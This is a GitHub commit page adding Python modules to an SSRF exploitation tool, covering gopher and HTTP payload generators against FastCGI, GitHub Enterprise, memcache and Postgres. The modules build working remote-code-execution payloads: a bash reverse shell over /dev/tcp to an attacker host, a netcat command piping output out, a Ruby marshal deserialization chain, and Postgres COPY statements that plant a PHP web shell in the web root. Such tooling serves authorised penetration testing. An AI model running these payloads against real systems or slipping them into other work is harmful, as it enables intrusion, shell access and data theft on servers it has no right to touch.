Skip to content

Commit 176c676

Browse files
authored
Add files via upload
1 parent 49ab156 commit 176c676

File tree

7 files changed

+439
-0
lines changed

7 files changed

+439
-0
lines changed

modules/custom.py

Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
from utils.utils import *
2+
import urllib.parse
3+
import logging
4+
5+
name = "custom"
6+
description = "Send custom data to a listening service, e.g: netcat"
7+
author = "errorfiathck"
8+
documentation = []
9+
10+
class exploit():
11+
SERVICE_IP = "127.0.0.1"
12+
SERVICE_PORT = "8080"
13+
SERVICE_DATA = "/bin/nc 127.0.0.1 4444 -e /bin/sh &"
14+
15+
def __init__(self, requester, args):
16+
logging.info(f"Module '{name}' launched !")
17+
gen_hosts = gen_ip_list("127.0.0.1", args.level)
18+
self.SERVICE_PORT = input("Service Port: ")
19+
self.SERVICE_DATA = "%0d%0a"+urllib.parse.quote(input("Service Data: "))
20+
21+
for gen_host in gen_hosts:
22+
payload = wrapper_gopher(self.SERVICE_DATA, gen_host, self.SERVICE_PORT)
23+
24+
if args.verbose == True:
25+
logging.info(f"Generated payload : {payload}")
26+
27+
r = requester.do_request(args.param, payload)
28+
29+
if args.verbose == True:
30+
logging.info(f"Module '{name}' ended !")

modules/fastcgi.py

Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
from utils.utils import *
2+
import logging
3+
4+
name = "fastcgi"
5+
description = "FastCGI RCE"
6+
author = "errorfiathck"
7+
documentation = []
8+
9+
class exploit():
10+
SERVER_HOST = "127.0.0.1"
11+
SERVER_PORT = "4242"
12+
13+
def __init__(self, requester, args):
14+
logging.info(f"Module '{name}' launched !")
15+
16+
# Handle args for reverse shell
17+
if args.lhost == None: self.SERVER_HOST = input("Server Host:")
18+
else: self.SERVER_HOST = args.lhost
19+
20+
if args.lport == None: self.SERVER_PORT = input("Server Port:")
21+
else: self.SERVER_PORT = args.lport
22+
23+
# Using a generator to create the host list
24+
# Edit the following ip if you need to target something else
25+
gen_host = gen_ip_list("127.0.0.1", args.level)
26+
for ip in gen_host:
27+
28+
# Data and port for the service
29+
port = "9000"
30+
data = "%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/SERVER_HOST/SERVER_PORT%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00"
31+
payload = wrapper_gopher(data, ip , port)
32+
33+
# Handle args for reverse shell
34+
payload = payload.replace("SERVER_HOST", self.SERVER_HOST)
35+
payload = payload.replace("SERVER_PORT", self.SERVER_PORT)
36+
37+
# Send the payload
38+
r = requester.do_request(args.param, payload)

modules/github.py

Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
from utils.utils import *
2+
import urllib.parse
3+
import logging
4+
5+
name = "github"
6+
description = "Github Enterprise RCE < 2.8.7"
7+
author = "Orange"
8+
documentation = [
9+
"https://www.exploit-db.com/exploits/42392/",
10+
"https://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html"
11+
]
12+
13+
class exploit():
14+
15+
def __init__(self, requester, args):
16+
logging.info(f"Module '{name}' launched !")
17+
18+
# Data for the service
19+
ip = "0"
20+
port = "8000"
21+
data = "composer/send_email?to=orange@chroot.org&url=http://127.0.0.1:11211/"
22+
23+
cmd = "id | nc SERVER_HOST SERVER_PORT"
24+
# cmd = "nc SERVER_HOST SERVER_PORT -e /bin/sh"
25+
marshal_code = f'\x04\x08o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\x07:\x0e@instanceo:\x08ERB\x07:\t@srcI"\x1e`{cmd}`\x06:\x06ET:\x0c@linenoi\x00:\x0c@method:\x0bresult'
26+
payload = [
27+
'',
28+
'set githubproductionsearch/queries/code_query:857be82362ba02525cef496458ffb09cf30f6256:v3:count 0 60 %d' % len(marshal_code),
29+
marshal_code,
30+
'',
31+
''
32+
]
33+
payload = map(urllib.parse.quote, payload)
34+
payload = wrapper_http(data+'%0D%0A'.join(payload), ip, port)
35+
36+
# Handle args for reverse shell
37+
if args.lhost == None: payload = payload.replace("SERVER_HOST", input("Server Host:"))
38+
else: payload = payload.replace("SERVER_HOST", args.lhost)
39+
40+
if args.lport == None: payload = payload.replace("SERVER_PORT", input("Server Port:"))
41+
else: payload = payload.replace("SERVER_PORT", args.lport)
42+
43+
44+
logging.info("You need to insert the WebHooks in 'https://ghe-server/:user/:repo/settings/hooks'")
45+
logging.info("Then make a request to 'https://ghe-server/search?q=ggggg&type=Repositories'")
46+
logging.info(f"Payload : {payload}")

modules/memcache.py

Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
from utils.utils import *
2+
import urllib.parse
3+
import logging
4+
5+
name = "memcache"
6+
description = "Store data inside the memcache instance"
7+
author = "errorfiathck"
8+
documentation = []
9+
10+
class exploit():
11+
SERVICE_IP = "127.0.0.1"
12+
SERVICE_PORT = "11211"
13+
SERVICE_DATA = "\r\n"
14+
15+
def __init__(self, requester, args):
16+
logging.info(f"Module '{name}' launched !")
17+
gen_host = gen_ip_list("127.0.0.1", args.level)
18+
payload = input("Data to store: ")
19+
20+
self.SERVICE_DATA += f'set payloadname 0 0 {len(payload)}\r\n'
21+
self.SERVICE_DATA += f'{payload}\r\n'
22+
self.SERVICE_DATA += 'quit\r\n'
23+
self.SERVICE_DATA = urllib.parse.quote(self.SERVICE_DATA)
24+
25+
for SERVICE_IP in gen_host:
26+
payload = wrapper_gopher(self.SERVICE_DATA, self.SERVICE_IP, self.SERVICE_PORT)
27+
28+
if args.verbose == True:
29+
logging.info(f"Generated payload : {payload}")
30+
31+
r = requester.do_request(args.param, payload)
32+
33+
if args.verbose == True:
34+
logging.info("Module '{name}' ended !")

modules/postgres.py

Lines changed: 88 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,88 @@
1+
from utils.utils import *
2+
import logging
3+
import binascii
4+
5+
# NOTE
6+
# This exploit is a Python 3 version of the Gopherus tool
7+
8+
name = "postgres"
9+
description = "Execute Postgres command"
10+
author = "sengkyaut"
11+
documentation = [
12+
"https://github.com/tarunkant/Gopherus"
13+
]
14+
15+
class exploit():
16+
user = "postgres"
17+
database = "postgres"
18+
reverse = "COPY (SELECT '<?php system(\"bash -i >& /dev/tcp/SERVER_HOST/SERVER_PORT 0>&1\");?>') TO '/var/www/html/shell.php';"
19+
php_cmd_shell = "COPY (SELECT '<?php system($_GET[\"cmd\"]);?>') TO '/var/www/html/shell.php';"
20+
21+
def __init__(self, requester, args):
22+
logging.info(f"Module '{name}' launched !")
23+
24+
# Get the username, database, query
25+
self.user = input("Give Postgres username (Default postgres): ") or self.user
26+
self.database = input("Give Postgres Database name (Default postgres): ") or self.database
27+
query = input("Give Postgres query to execute (reverse or phpshell or any Postgres statement): ")
28+
29+
# Reverse shell - writing system() in /var/www/html/shell.php
30+
if query == "reverse":
31+
self.query = self.reverse
32+
if args.lhost == None:
33+
self.query = self.query.replace("SERVER_HOST", input("Server Host:"))
34+
else:
35+
self.query = self.query.replace("SERVER_HOST", args.lhost)
36+
37+
if args.lport == None:
38+
self.query = self.query.replace("SERVER_PORT", input("Server Port:"))
39+
else:
40+
self.query = self.query.replace("SERVER_PORT", args.lport)
41+
42+
elif query == "phpshell":
43+
self.query = self.php_cmd_shell
44+
45+
else:
46+
self.query = query
47+
48+
# For every IP generated, send the payload
49+
gen_host = gen_ip_list("127.0.0.1", args.level)
50+
for ip in gen_host:
51+
payload = self.get_payload(self.query, ip)
52+
logging.info(f"Generated payload : {payload}")
53+
54+
r = requester.do_request(args.param, payload)
55+
56+
if query == "reverse" or query == "phpshell":
57+
logging.info(f"Please check the shell.php on the web root for confirmation.")
58+
59+
logging.info(f"Module '{name}' ended !")
60+
61+
def encode(self, s, ip):
62+
a = [s[i:i + 2] for i in range(0, len(s), 2)]
63+
return wrapper_gopher("%"+"%".join(a), ip, "5432")
64+
65+
def encode_to_hex_str(self, data):
66+
return binascii.hexlify(data.encode()).decode()
67+
68+
def get_payload(self, query, ip):
69+
if(query.strip()!=''):
70+
# Encode username, db and query
71+
encode_user = self.encode_to_hex_str(self.user)
72+
encode_db = self.encode_to_hex_str(self.database)
73+
encode_query = self.encode_to_hex_str(self.query)
74+
len_query = len(query) + 5
75+
76+
# Construct the payload
77+
start = "000000" + self.encode_to_hex_str(chr(4+len(self.user)+8+len(self.database)+13)) + "000300"
78+
data = "00" + self.encode_to_hex_str("user") + "00" + encode_user + "00" + self.encode_to_hex_str("database") + "00" + encode_db
79+
data += "0000510000" + str(hex(len_query)[2:]).zfill(4)
80+
data += encode_query
81+
end = "005800000004"
82+
83+
packet = start + data + end
84+
final = self.encode(packet, ip)
85+
return final
86+
else:
87+
logging.error(f"Query can't be empty")
88+
raise Exception('Postgres query empty!')

modules/template.py

Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
from utils.utils import *
2+
import logging
3+
4+
name = "servicename in lowercase"
5+
description = "ServiceName RCE - What does it do"
6+
author = "Name or pseudo of the author"
7+
documentation = ["http://link_to_a_research", "http://another_link"]
8+
9+
class exploit():
10+
SERVER_HOST = "127.0.0.1"
11+
SERVER_PORT = "4242"
12+
13+
def __init__(self, requester, args):
14+
logging.info(f"Module '{name}' launched !")
15+
16+
# Handle args for reverse shell
17+
if args.lhost == None: self.SERVER_HOST = input("Server Host:")
18+
else: self.SERVER_HOST = args.lhost
19+
20+
if args.lport == None: self.SERVER_PORT = input("Server Port:")
21+
else: self.SERVER_PORT = args.lport
22+
23+
# Using a generator to create the host list
24+
gen_host = gen_ip_list("127.0.0.1", args.level)
25+
for ip in gen_host:
26+
27+
# Data and port for the service
28+
port = "6379"
29+
data = "*1%0d%0a$8%0d%0aflus[...]%0aquit%0d%0a"
30+
payload = wrapper_gopher(data, ip , port)
31+
32+
# Handle args for reverse shell
33+
payload = payload.replace("SERVER_HOST", self.SERVER_HOST)
34+
payload = payload.replace("SERVER_PORT", self.SERVER_PORT)
35+
36+
# Send the payload
37+
r = requester.do_request(args.param, payload)

0 commit comments

Comments
 (0)